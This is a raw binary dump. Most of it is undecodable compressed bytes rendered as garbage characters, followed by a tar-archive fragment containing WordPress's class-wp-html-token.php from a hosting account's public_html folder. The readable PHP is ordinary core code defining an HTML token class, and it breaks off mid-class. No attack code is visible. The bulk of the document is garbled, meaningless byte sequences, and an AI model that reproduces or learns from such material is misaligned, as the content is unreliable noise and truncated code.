vl�"?����RMJإ��'��!�y��ډZ[��m�ܛ�F��w¿^|���F��7�_�_�����_�𯻏���������n�}�/-�}���|Dm�ݍ��]�ϾyBm�n�z���>ܠ�h��666q�_�!���y���<�DO=�_<����?x���w�6�~pG�=~K�<��k�����蟾��k���=�v��Wv/�=���b�e�Y�s�8��1�ғo)������RY���#9�pV������:u�~�f<¼^b%�Ȓ��$�l�u�*͍���Z��Gl���:@�W���0��f����W�>=���M�I��� d~�=�"��OV��BB���%�"��1�@�¤��L���S�;�{:wo���-�z?���h�k�>��S�ؼ{�/���׿��uא����(ϛ���ttH�\8?���f��N}��F5���%y�T7��1(yV�á���G��XC�������Z`Խ�ѯl)Zv��o�&,_�6�o��Q�"qˣXw� ��l��z�p,9�nj�^���s�tͮ�6��C�^
��ewM
��i��独 ?�<���c ��ܴY�]�{h�9{�%����d�Gϟ~�CP�oS�j�~��-8�:�#ї�Z-l�"��ڦxS��$ԌK@��^�?`��V©r}J��[�=�4��\�솚-�|� ��k'�7u��E0i�'!�[����;�-��p�>o���߶5܁6��3A)F䰼�`3]��v�ŏ�l1�P��3����`	 sw1����O3�I��*�2�fӹs?��{�%�@���^�^2�A�� �5Sp�:�k�2a;Q{'6<g�I|z�܍
�Nxg}��3&S;v��:3`�4s)�UP~�'��ێ�o��:z�rbf>��<Ax�lښ�����S��UG�s_]�?����]��(�EL+�lp��AO����n�e�~d��s��ۛ��_���fC<kq��n����="�I��ڲ�[�-a��4���ݨݰ%������E֑+���Ѵ,�\�P�#^��~u������w�[�[�U6JW��&�Xt�����
Zd�s��&����&�1­<�����<��)xh�w�m�y���}7���8�;*�x/*;���n�W�S�1i����n�_/�T$7��ە�d��`�G��̞Za�\cmd�?�P�.2��\��	F�4T��J�1�B)��C��.�F�$��{��bk"�Ѯ�{w+.iZӰ�#�S�3�";\�
��s�q��9'ʕ?�~k��%�lW� ��d7��b"��
~����t+u�E��j�~i���/��gy��%;eU�Ά.��yO�;Ֆ�}��9:���U��ޅB6{��09���.,c6���J��&\z4B��(��Eba�;���*�����B��Tz�GW�5&C�o�U��S�֕�~綣�dKm��49�Td�"�r�zk�d6�	F��f9���_Dp>y#~ac3[��-��P[{A���^��e%6d?�����g�7����=�eK��E��Hθ'.jtܿ	�Ovx�V�wcg׼��f��(xGCC-u[�n��89;����KRy���֬7z����jQA�Y��h����Д7�J�c��o�/5V�rE���|���ʛ%t7�$;�%��+f��P��l2�tST�	�Gp�7[����Y�S�7ג�g���M���tJ��O�d��\��zX�&�~ȕ��}�I�:	/8�� ���b�w���+�Y!V�+Jbİ:-�)�E
�I7�G����j˚ʗ�Fl��Oze��>����mG����)�S�.�Nٔ`9%���rQc�Xq�`3w��#�%eX676�_`"����(�a�0��bM6�iF��7����K�Y/���h�������ҋ��.�D����Z��IQ��Ǚs���dL��i{�ur��U���8���CL��TS	P��1q*Ǎ
�5�&�k('�TC�h��w�^Y�	)�f0v%�j_@��(J�#�%��T[�����2Ln�fNO��Z|NT�R��v��$�f e�\���c��L�v��5Fx���̐��3+;��fpK�H��_L���[R�Ww�-,@"�_dm	J7�˺���e�h�_n,2��?��ls�uPi�Ca*���.���A�YO���e�")�Oz�<=8>|�4
rQ� .y|�M�˂�l30x��������]1Y3�`����~N�K.JH	!ˢ�ru��ʒz��u����\��D��'Q}�[�#�ڀp����U��MG��0�1�2v,wa-���+=�}K�a�"��$�m_���o?��Y�Y��tm$1&�H�x?�A���#���_���\�[�2�ĵ]�3��Z�Q�a�LU�Ȱ��ڤ��eX��8g���d�~��`���v�)	6��C�,1l#��5���dh����i����p�Sr�(�9���sk� �b��#��k�[A�c����m� ����kt�.�?�&�Lڄ¥�������s?�c��Uc���zM	�J�r�dȝfßȡq�p|�Q�RF��]��3߻|c!k�m�pg������i����q��ƭ�O��kk���9]�'Tx6R6�OLg�����).�?˼�)c�,,͔�9INBb�k�"
Fc��KVm'�p�6�)Ll�1#1�'l�byO�۱Mot�1~.�����6��Q�f���P)''2Fv������?G�v�x���a)�Å7��0�c�w
��\Wb���M��7�f��ԉ�M2E�f�8�{��De�?>
��0|��w�{�l�������Y&�i[ޭ	u�����F����+M��t��<��A��㽓)��묍xjO��
��~m;�?��{�W�*��c>���*���?�f�� ��G���8>=��T�(N�RO#܇���$17����N��\�5?�܈����U]���v(���I�t&��ף�񴜉��a�1��\q[�X�td�7����*cM���{eFn&��*'� ł�*������0���z����n�C������B<����-.x��A������)�?5���f8��6����DG�'u�A�0��9`p�p֬�>���vE�����a��
�.�9SBEׅS��_Ɩ� dM�H��iI��NDT��W^������M<������]ܟ�J�#�(�����<V�uRW� �Tg���p$E�ch����r0�kEs�]s�I�U�T˅J�J{��T흔��F�M��
�Nj�tX�Z[�3n��Bgb�8`8���ey�d{�c�Wj�;˫�û��b��u���`�7��Ӌ�R�n�27F��īF��-4��"5�T���e�\�JY��y(��r�‚C��:0hA���pH��7#�h�"��L���]*\Ē�PrL��:`ξ�sx���}��CQa��m�w���z(J�԰�ă%n�(<�l4n��?j��OXs�[����ƌ��1Y5'Ӥ�0'lz��jK��7�����Q/Q�m�(׀�L�`\Ռ�8f�=�����]�[�A�"`�,�52�����(�QJ���*O˒�]'��3f�����-�q�v;OI8C�H;c��*��yN����{d�6���E�Uye9�0��ɧH�ZcS�Im!
^�BV�����4��j6�[���8�=Z�f�	,����FB.�mP"@�·��(4�c�1�0xh��9j��y��}Tb7\��,Gf��d9)Mr��&�S��5�
%Iԅ�",���I&���+R�J��:S+Lz}�IQ�92�R"��42�Yǐ��L*!:t���-k���Z�#�jcVL��b�4���	���+ƹl����f�K�<5�ץLj��7(���-��]a�����P�ݼ��'�7QCg3���ݗ� �=[����p��#N+��a�zE��#Sƛ��� i�nG�$���\�����P���?�n�+���s���k�Ho�ϫ���t��A6�r�K�|���ȺE!�:`[?���;2�rj������H�� ���
���eu5f~z��'Ⲫ;�hy�N�����Rakn/^��Z��&C=���AܺlSe����Z�8˦��@[������<�w�%,��F:���.��Ջ�<2�s��#�V]o@���+,ܹ��c�\���}T�-Œ��/=���n�p�ü�7�2��W�-�ե�垫���,7�^
���C��J~�c�h��zS��{|��:�T�F�I�����X���ZWW�F��YlW>�9���&.*���#��6��b
R5�s��+S��`.sk�-{�d�{����z�����	Pզ6U��H���;\8�Z����ȹ�΀E�4݋�a�	,��hw{����[mө��`��dp�b�	o��~�@�Mw��0�)���kB���M:��ٽ̸���g��7�z�W+�*+ 33�qq��ll��DCkQ�&���!f���l����b���%�{&�sxw@C;1XD�{`Q�f��J��U�M.�g��{rp��g��^G�^���'�)�����6Ig�3�/��Nmv/�k~���G�Q+��y9TQ"�
9x5�3Ns�\�LP!�W���]Jx�����wrp�]�����7�T|BŢ�y��ztE�����9-��|7<�;�,ʜ$��2�+�����s
���b8Fnʱi��+�E+�������E�/C	��Y����vH���E+U����Z�����ϏuDv�G�+�Ck��܉�Gd>�j�֖k~�$X	������U�`%������o�TUV�.�V�-�3w�b/	�@�+E:'.VDRЛ�m�[dO�1�1�`1���]�F�p�ӆ�[��Wf /�P�����Z��ل�Ԁwl�GΆ"��]��{㵋E�)�Kg<��&�e�Űz���6�{�e:�-�(��y�&��I��;�Ʈ"�Ă��LtG-��
̋��D�L����#"�����\�����x��ԓu��>����%�e�'.�kf����\98A���S�-�k�{�q{�d��<_0�>����.��PpAKf�ֺKV5��I>LƯ���|�%y����{+���C�;��P��$N\��<��Q�>�C�i5��k(3^-�c�μ��x����P�L(�m��U�v�q��N�I�n��$��e�K�m
�w'��U��=�
x(�	�0��
D�������24w���7�L��V
u@S!�&�rC�b�|��UB�oxWgU�ƒ�N� �p��{��;��i�r�ϝi�J�(�{zpr�M��N��=㟴3頦}��O�(�>�'�n?)��p~�I�U!F�M��������Y�c���d�cR �����OL2��Y��`��@���a���w����/�����I��5�Fj�أ	7��ݵ�U`�'�/l5S.'^�-��y��P�k�v��M�%��G4����!״���h�x_؀'8u��M�M ^� �t)�Ő�PE�!���Э�z��`Pp`�_������L��?�7pd�l�N���!���AJKd]�x�(���^�=���1}�,;���y]�p��ɱ�%��:'H�`�R�I�Q���|kkH��x�:VU�a.�іasbr�M(;�UB�1�fH����
gd��1�����3�|{�2�������1����b������S��:4����R�bY�:ڶ�_m4���'2�ҽ����pB�qR����d%��-��d�m��z��,�?R�aN��9�t��*dZ���� �˯0��'�Kg�8=''A��5�D�
�j�*{p��r��0_Ugm7+�b^4V�K��6y���뮗v�+��?��+@<	�[��m�e�kF<{^(�a�4�����+��e?�tb���>q�Hm�]��..�ԫ�o���e2��O��R�_8�Ii]��A�/��A��s��C<�y��`��ĎX�P��l�$H{է��t�A*��K�b���gp\r{as'�x����Xf���Y�6̼˅7�����Ļ��l�p��0
I�����R���ժ2=�x�<NU���ZC����_~�;���
��F{�qmE%?�dVф7Ў)s�#��T�cY�p�ل�4��b��!?�-���f`:ĸ�s���W6�+r�U)���I@��p���]&�u���UWz�c���W�l�/t�U�íZ�~�V�0V�p��ő��従�Wu�/���Wx饽�sh�Q��E��Y�އ�2�D�`���A��Ĺ	@#}���`��~�˄	/�4%�mMƐJ]t'��k�!G�q	��'o��,�q���&�ʢ`��熉�<x����}�%Ɗv�T,1W������IVS����wB*��m�dn�/�G.�Q˽9�EI`\��c�i_��~��[Y����LKܪ'�*�-�7��W'��=�c�S#�)[���×�0j��e�n� ���z+N��a�X�'@��[��U��ӸA+�w�qq�x2�d>w�,�"�Α�mqwᫍ���΀���@jv�g3̕��BW�m�v�=Z�409�t��8��U�����t�P���\����ŧKa�y�Ѿo�������~���ElB*�-F�G������Lu�r�D�0���{�s0�^ �μˬ�7rHM��_y��\Qg)Q�PA$�I��g�b>)�8��,�H�v�����YY�!H3=39���;)'�,�g�%l�A��V�u�N�.�I!)�U�*00����[�'�\�<��
B���<�E�*y��tw��B�����70��,�2����.��j��I빷�%t>4򘄸o0�?Be�����&9����dގG���zz�)�e
��[z.N����伩�>�
�I�d�����&)��K�,���w�]��8CHkh��_��Q^�f54=5�փQ:��WZ��#|�}}��1V?>O��Ǖoi`�<}SoA;�_�ڍ�@<&%�)�m"��ON��P�4'
m�U���u6z�4O�߇g�v��`�"c�T��>�X?��/���8��������e�6Ʒ4x�e�M��x�]��~Wiu>ʲ$<���o�Ɓo��^�۳�߄�
�4~�m��$���o/b�pO�F�@�o��7�����E��q��q���}B�C�b.����j�,�^�5��4��*�8����?�|M��
0G�A�C�k�5_����Ӭi�x�LG��;ŧ�/g��l��	���;����]��;k��3~�#�׉=?�R�Q���/�x��`�m���k��QSK~n��W�F�s�F��$�/]��f�I��T�_�5N"(��H�ۦ3Ɂ����R&J��H���g!�Zqj�Q��YV_�S)�=���ʙ�gmϻg��K��>��j"�&^q۲�KR�q�v,�K���:7˕�vF�'�|���q��0�!&WB��*o�/Q�����
oGc�S|�C��u���|d^��M��<�c�Ց���x4h>R#hʪ�`׋&~�9���	c�!�U[���k�/���y}���2Ƀ��W����+�n��v__�/�|��df��]�)�78+Q�-q������y�ͮ��E�{`��xx��������������'�4GF�5�K�8ȻJ��)R)���:�i6���^{J�_&!^��6�3;�&x�*p��*��_}O�*m�W��a���C~�x��,�d6�e��~b�晼�Z ���	A<ǘ�y��O��%4^Ry�pG��Ccҍ����{����p�~�C����������,�:ߵ6�r�^�ۡ�PR�����1}R����$���6����k�P���m���W�$.�C���ҫ@�a]���U�S]���D!аzC��~��������{��
rM�U߇���E��I@(�����]���	��[��?,�ҫ��[��a�:�C�9x�o�UZ!s�BgmS��)�����s��j�Bޝ�;��51���Y@��o�[_�C�"{�դ;|�{~Ui�	�jׄ�!�m����}Aq)���MW�N����6|�M���-����x-ޠ+�3����U�o�}ﵾ^�zn럲lO�Ӹo�fo2<�'m_�vM��������^mQ���^F���+n����N^څ�_nDo-��i����7��	�(�m
7�W�6aK��$�7������QD�k_�i�>����Āֿۢ9����k�b�슢��P���,�<��A%BW|6ȗ�u�bo(�/�
I�3�qnM��&AP��uLj$�G��#W�0��Qv�L�r�� �_j{�
�-V
��+�Qm%�
3=S��2ĥdg�������+�q��8�R��G��K�h��dr�/|�γlx��@89��h)��(*D�l��7�����1�X�BΞ��Crʟd�n���\6̒�\�MG�xS���C�1g ���O	5J&
jfo�id�k�>�|�����?	?^�%���!�N���fq6�Q:���$LI�SXm����^�T�c�����&_�y�F����T`�3b#��4�I��n�j�����լ!��/LL�]*b�&#�ָ���p(�]�R5��{	���
�d
~�:-�R7���˱���N�m����J��<:&���9�ڡqAΉZK��o�؊kj�����׳8�u^���.���I��ט�L)r�,��u���F��p�Q�*������ݾt�ׯ�B~DxnR䩒R�W{א��fu�HF��O3	��?��k?��b��OŸ���$aܘ�뵿9n���8����7�+��}�2z�)'e�I�3�E�Oc�`O��	
ǽ�J��4�S��Q�̲��%q�d2��憁�ȟ��&y�����S�P��T�tx�)���G�`��f��|i���	&���g�����DLk��F�+L�Vm���[	�"��!���Z�'[�{y�|<��ѡ���=<�����4D~b��,���ʕ���n���uw�\�o�>�r�C�y
͆2�dx���:d��C�o��c3�A2E�c�B	5�H"�Fr�rj��36����΍a�����Ѕ�a5\Ru}&��~�ٓh��P�����k�	 \�.,��^F�lo6��#��8E�i=��Y�DG5��Ν��>7b�nso����u��?duj���p4��.��K3�2����J�d�Dw�d٭�%)Qm���7�5��R�M��(s?��E?*?IM��4	Mu,����.�siؓ~�y�~��WwK
6���B\���M���s����[��r�)#��҄548:>8y�����'�TE�M�<z����z��;�9�+�KZ���W"H=|c5R;�����(�8;�%݊�L]Hǜ���'�+�N��E%�L`f֦H��0@c�
�<j�\�J_k��p�s���8�>���Ԣ�6k(fB�z�� vb��Ƶ������D��q�����c8���N��ȫ9-ڍ���/��>�'yo�g$.���c�4	�a|}46�=�||d�:�g��$�Q���A�M��2�#�_��d"2칓����RF4�{�@"S�Ш;��ΰ@����?�nm�smʶ�î��3b� �))��s��Pt���⪘�*Y��4ץ�Mp�$>lg�(��,L��:�.f��6-%c�-����� ���yD�(,&ΎIewxI�C�c�A�c
�n:�+
Е�v��_i�-7��) ��m��=�CN/+[Gg>������4�$����`d���Ӓ�I[PI���#a�*SS�>֦[n5րכX��ڛ��P���z���y��{��5o����x�s��{7��J��MF�)�������X��
1�R�v���T���2 �{���(6�K���l�Hn!���C���/��[J!�U.��]��]��A%
�aTnZ�p7�$E�-�
&�����h���赭$����ق�j-�8��Ά��tH�r��aeIt�+I�����T�
v�|8f�8���-�'�gpW��gH�B_�H5�HeP)�9�-vƞ8FLyD��� �t�>2OP�7�d��!�%�h�)�D2�h���J�Z�aw	�[�vf�Xt���f�9#C�M�g�*;�SΕ/Đ�!J�Y�h�k�\�	q�]%�@�6�/��V�Y]�c�6�8��k��L)9o}��1QQ, 1!�|�f%]��m0m���k�h��fc��H�E�r�Z�r
�E/�����PX)��mmպ_[й�^�=�E9�S
8����v��f�dd\~��w$�}�f��v��x,�dy�������?����:���a����R�燝�\Ƴf����J��o,1w�,�F��^ve�z�t9��1�,�Y�i�Ó޷O�z���a�D�&���Y.*O��)��d6&,oH�m��%�f����4J�l-��oll+Sa���>�����鎤��!�-܂�n:n�	s�c��+�G�W������N����k�F�Ҩц>
�@�~���w��><�v-�i����3A�L���9�#T�jOĥ(��(F<&^+sW
I�ieS�<��j+3H�FYs[�@�?�ҘB��_F`�ռw��A�LR�+ȉ~ lT�=o�G�Q�	^+�;ܺ�_��T��{c������S���.��L5�n��	�� f5s�<X`��!Cشlv��$jjw����B�K�0..���9���6i]f���&:)yh�p�c�~�q�����f�l�m�.�����$�4�28Î��$j
���b�Y}|���Ӄ���9��B��T�V�b4�f��S���R#Z��I�+<�筻�1������`��)��*{2̣U�d�a�Ԥw,W]��Nb�ZY�pU�@��t=,$I+�G�~�5�����p���u@kђ����i��G��%%^��,p�:V�4�@y����|�.������)
{r���r�������=y�U��9�������[�ݪVH�O0(j6�VPó�I;7��˘IJ*X�T[M��jb�46a��(
u(�E�<..����U�2���$����ά*S�}�H0�N�Vl�����W(;���,�zD�<��6;�c��Jjd\0����g���|���*��9رP�jì��>����@=Y�2���,OL9�F��+�(�"x�zW*_�Zܢ�r|�{�7��1X�NIyƤN�M2�FcN�
�Q���+�?߀�U:QYG�oVS|��sM3�ef���&7���މ�W/iW ��ҍ�$
v
$9��'�o�]}�D���v�)�[<X~!<&6ښ�~l)9��}��k]��d���XL\�$�K4RLč��d¾6)
�"�M����bLĈ�����DL9ΰZA\ �=b4���V�/Re�����1�n�d�2�uT1�K�˃�$�RNJ��䠃�C^Ɠ��:J��Fvy#ݤ��<���SI�:��@a^GaQ��Lw�Yo���=���)o�CA�T�*U�yҪjѝ�T��h��7I=Wo�^B˷X�Tu�����S,��~����ѣ�w��ֲ�qӭ�M>�i��[mf;ڕ<n�@i��=��>:�{r�_>}v�䛃�Ʒ���5�A
�����#l���2��6���*ؿJ���9j����� �e~Űvo��q�=˨_��Ȇ���	K�m��7h��=�!��}��u�&�D�@
�f1��4�� SG|�	
~�p<��t�XŚ���������J�+h�b�,ݔL
�tP�g�Z~B �m��[C,�'�:Ѧ4z��(�gˆ�c��`vw�)��W�i~�	E0c/Ix��	<�NWڷj�a|���b��`Fe-�)�'+H��9�c�E���5��u�P��B{�ݷH0�U7B����cO�p�#ce6�P�B��D�`�KVp�r��	�v�ދT*ڇ��������K}��|H����W�����T�%����R��2�Q���4@���ė̡�VuB
��•-Do�A�ښ��ʂ��'�����&���@
焨r6;HN�"9��yR�y�����&u�~
1bɕ=bH�ntg�n�ԛu"S�W�|ƚR&����z�	�`���DJ��_/���P.G!o�5g;�w̄0U��&��td�C�#��E'\e�
M�]�yX5<@���n���L�hS�ʪ֫u�
8��!�S�_�8L�aNҚ�"�f��P;e�Dvu<���5��w69o��\�e��+x����yժ��g9l�H��O�~���sx�Y��UwCQg��w}0����4YjC�l[�	N~ �㓝���L~�5�8Jy獿ڻ��l���{.Z
$<2�"���Z
����L=��°���?�[��������9�8��$x�I9�}�l�"|����މf����+&$n�rЉ�..u��P�(���6T��Z"�íc�֢*���y�B����9y������zg<IG����Q�#��`p���B����n߂��sj;c�j�4L�v��}�M{o�U��7k�AO��Zx��Z�Rf��4�RG�Y��2�S�{�N=M������Q��z����ʈ���)���h��
�]�Wc�G��Z׊ON��JF+l�
*,k�Xi��1g�"6��*��[Fο�j��h��F�v��w���3y�@h���)&��[�|<�
������Š6�T����+��:3�m]�h+d�Ԥd�J���	7|~E`�
��=�x�����'vב�����?b��'������GϬrb'Gl�w]���L��9
�Ǣ���FW����@�el������[@;i}F{Mh�'�`#�I�'��05�(��v-nߤ�C�>��y͖V���dI�L�#V���rc�9�>�Z�eH�ŒD/����jk�u�s�g׆���G�8�GIR-Q�ڃ&(q:�^?�v+?%e
�+l���55��#vFF=�Wy�bdeg�������AJAL	ʮ&��&��\�0i��(<_�Zb��B���tK<bP ��	.�(�ǐ�
X&ߥ{�Y\���F�c�x��{떭�I&�n^�4Q[�M*��5M�`��O

>��qFlD�
8Q���Er��M�H��
�!z�y�A��7��W�$�{���`�����*����+�z3\�l������{��{����E[;o�����/�T��}�yvx��'ժ�T=����~dž��G:�u5H����!��(#�X�dZɒ��}��Eݿv��#l:J$g�X�`*�AL��a�x~�F�d��P��4�v�U�xH^t�N�"���وQ$��#�IF*�D�>V��njѲ#��2��ʖ058��G�����b���R6ͱ�o�["ݫ1[I�f��Nc2�Tt�mkDn����rN��Ӫ�
Z�N��6g��,���Z$<��hXCR�,�����#r���A4�	���T�oƿ���G9Cc�dU�Z��є��sqJY�Zy�-u$o"�l�wP�����@�I��D&C�?�C��+9s�߹�8��N����a��w�π�^-C�ݵ��Q�f���&(e����pG��m4B�	}�u���BE|a��m0a�ʦ�^S�z۷�к�I�����-
����1Q2V���-U.Et�ZyE�VU�|�:Õx)��(I�L�xĈ��Y><��7O�rT����
ũ��t�t�,�pb��Ҳ�i{��*�u�Ni�
3�%S�gL?2d����E�~B�X��?�@��d����4��7�X��XL}��r<"�^�5ʻ�p����K���)8=x󙾹��S�[�۸'(�lؒAzz�'F�g�$���!.�e��#��֏����G;(�~��%V�ȳQSw̸Q��+�0�?���]������%����5��k��7����
���ه�G�hM;ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h:ڄ�6��M�h�Q��osV�|�33�&��]M{�|�07�^��0ë����<�\�^�zON�l�����@�'p��jy�5�y��MX�]W�S���-$P-�-��U��lR'v�}�V�X�%oΤ�c�oL6NK�#�Ǒt�?]���ug�˼�v^�����4C�B�B�0m��1s'���0	tʍE3�<���~����Nլ"#K4��gԜ�o���A�n[)����d��e���I���
:��")z�u�+����>@�>������d�+5��?�Ie[�_Y�|������)�AGh%NEG%ɇF��R@q�e{����w}�����F#F[?\��~�����V+� 0MьM_S�¨��P%�mO��62!Ȝ_�$P�]Fn��
�������ڄ�Ct��Tˆ�W����,�"F7��̜�ɺ�Oǯ<R��4�V�d�
n���8Ǝ�v�(�T�az�Y���7������E�f�?0/bN?%���B��qó�U��G�t؊�w����'�!�=��:���}���e&�L��G!��q$�c�6���vB���D���
?;˝��YU&��n)�`}� ��u��{���j�S=UL�EQ�`2Ȃ�8�fh��C�x���@�@�*U�`Р�s�"� ���(?q�
���;��6�C���Z4�]��7��8eб�)����0���E)$�!`��[M�
���>�0���#�ckS�S�U�MJ�	�R�G��~��[�Ŏ$�_�jGEc�G<�\}��$6�Ю�mVv�ph]aoӲ�>S}u����?���Wv`.;����s��SƲ��a���e�[�{�4}Ď{G8�H:�$a�DW�5�ȍ�I]���<f�u[f�3
�1{���(�0u�K:��2����+xP��]���}�C��w��n�o�'8������s�ť�!p�Y�^H�a��+���<���Hx�:1�6�5�,�@��E���t�q���r���;�y8�뱳��c6�s!�W����5��gZ��ϛ�yW���g����G�Y�伯~��J"|kO�:�4����w�!`���@&b�c���A��P[�]�t
�>���*��<v�˨�U}������h��
��7c<�Ӟa?�1�/����Ű �62#51�n�xc����w��w�{R��F,(y$W��k酷��&���~��㽓��ٺ4'�=f`���

��g_�x��Ѣ��ȫP�8r�Q[��=^@7�)��UX$.���K�o�����4��NE�X�uf��5�Ngl��"��<W-�a�$f��!��C(��M �P��Y�]@���Kl�����R�;0�I�C|{,�$�>:n�N��	t�j<M��f����U���+?�IU���s��U!�P�jBp��W�mb��'�~�WD�WD��
�����j��НM�'�3%�Ź��
�,B{��\+Cw�X�/�ʊP�Mr�}5��0�'Ԩ�ժ^����ߙ��2=/��^�~@Y0�� SL�����*�F���
}���E�G:���@�o��E�0d��Y�7z�������s��	���zf�I�X���g�O+bRE��������{����(	ǧWh��TU}odY�b�g��
'1��#G�X>Ȧ�Fx�Vy��}�.I��#p8͊��<)s�b�NAT!�J��%��+��<�|b��UxQ�w(�ٓFT�1-
H��!m�E{&m�!r�0��(zLX�T���K�#45SYp�:�r�����
GBק��-�sk9Ù��F�v>4�]�r�N�m*tL�`>	Q̋#�Ws=���<�!�"	f�8��d��hn��LMA)��ɔ�'v�(T\���r�����%��?��BI	|l��/��
7�M&��먭���%dw
΍�aa��e/�kb9
�D��,�MŢ��bm)LD��e�:��v�s`l�蜱(,�mq�#�N�`k��&����X,�]O
�3�����"J:[����r�%+�q��2Y�����i!�C9�0�X�j�b��$��Vn�>*���K�=��Gy=+��Oƻ�H��_��k1����㿍0nn�����r��ɲf"����?��ݿ��?�ß��p�����[�����ݫ�`���v���L�>pTu>�py�#��uzͯ%�$�N1`Z$q��o���rR-)4ߺն��6Ƴ)_[L/I)�u�a�s���͖�;��N����h��Ê�+~L�ZO�Ɵ��<��,L�)���1�g����ki��J��;�!�p*�^v~�r�#B����Wɰ3
of�[�����!Ѭ��v�{�N7vZ�3Kw';(�G	k�}x��""�����
�#�<��;�%��SG>�ZTD����0���Vn��\fӈ�VK�e��J|}����q�)����^�P�L=����U���VH�~L������ʞ�T����ў��[`$/�f�6a�����MyP�m�_��I���U���cO��x%I�:W���W��ii���=n�쯯��.�ݓ�V�45�Fh+@��C���]&�xr:��/�ak���أ
{3�o�̰���;�Y�:d��8H9�!�8N�M���A�H�Zٍ彛Q���q~��ݹ3v�ѹ��2l
���z6P�E[5�
��h��N�m4wx�s&P�(8��Ν�{������l`�����YVnk�����ڌ�o�m;�����Z.�ҐǢ�T�����3��ĥ�&�����R��^1)��f��9[:�Mh=��ܦ���3F��PșyI1�_L��Q��իg��Ѧ��z�SO�)lp��z4���{��q z�;�ա.c%���	�g��'j�h���D��Yg�-jv�a=J��tr���(6�+U���ΰhǔ՝K�SR
HJ���tL�<u]���v��I�4�Tw�b��[�}C�9GGq��@�+�;��C�=52F��)���q%�ZT�R2Q�G�ICd�(Y�	�X� p��׼4D���s���4������C���m:+����\�wI��Ir�Q��qT�74�p�0�kt����B�5�b�r~�_�Wynk4���<:&m�I����ݡ��6���ƌ�@�ߌ��*NIɕ}x�;5���z!�R��.��uR����{z�G��V�ť�kSH%F/(Cg&�
�4<i(�ث�P�	���
��=>��i��g{��}1]*p����%9��l��u���Z5�ԝ�ĩ(+Jfp��pSk�D
�EKڭ���+P�~[��ٓ���vW�Ihc':4������A����k*[����*�qx� b)đ�0F��C�<��J:b��g�4Mq����(W��i��p4��9��㙭�(��bxg�!+5�	�
rG��BG\�֦�%�Y�0�C���z��F�M@��
�7��sJ���ز�~]��նnx=&f������I�Pb�6�$�M�1�a��7�u�0{�<mUM}��INE��&��d6�Q��e�(�{��ɫ��5����y�b���V�����O]�$W#�S�����@�x*'�������:�Vעg�1�So`�HS$+.����ȝ�5��g���&j�ok������"ř>�n�*��\��ԑA\^�uG�:���e�r@�Ly�>��
?���<����\�������2�Z��oo�@�]�s��H&q2i
�̋I��Xո����R�Y�|ā.�R��`�Yo⨅n$3��mY��J��iy��m��	��)�I���P\)y�!�)
����W<y���)�Tr��������Ϟ��4���=��bҫk��l�	����`���z��v��n]M�gi��j��l,��s��޹_��5]=r',5�-T�9�����Q�A�`'I��sg��4��a5|���1隤����P��$+��s.
1��f�^��N�:�H��f�8�� -T��Ԙl��{b����T�^������)]w�����+6+s�>�}s����1���`���.�j�ś|�l3&�b���B�uU�f,�8,ܠ���?�����-�O����B߯$���Ǎ�����Ϟ}�����6W�~�&L�Zy�DP.06���iۛ���\�[����V��Ʀ�CC�F�M���1�w%oÃ�iDf���;�/9G��t6�N��LB��OQs�i���0o#U,/8S���~��{w3 ;|�{X�>ATew�W��<ͺ���Ua��j<��q�F{�5�#�V!0�\�*��U��$a�7�<�Dm��ao�����ɉq�2�쮳2kZ�8���R���+�����s�)�:�t���Ò��ur�w������@���|ȏ���KL_�Z��;���zn���ټ.��;�߽�ixG1��1�:�F�X&�S��"^7�������D�0;}�#'c�����):�Z9+Rs����?y~�W@��)s��l�N��j�x��ŝm�`�N���i�.�ZuL]uИ�=êW�C�{���*�����Ӷ���z�%�s����֔e��f����0E=!��n��&����=xzp|�����ۅ�T�&|?�I��W��|�8����<}x��{���5�veh��9�������K�Oa��n�������?����U?�?g���VPKgN\��J�class-wp-html-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-token.php000064400000006522151440277720022105 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

	/**
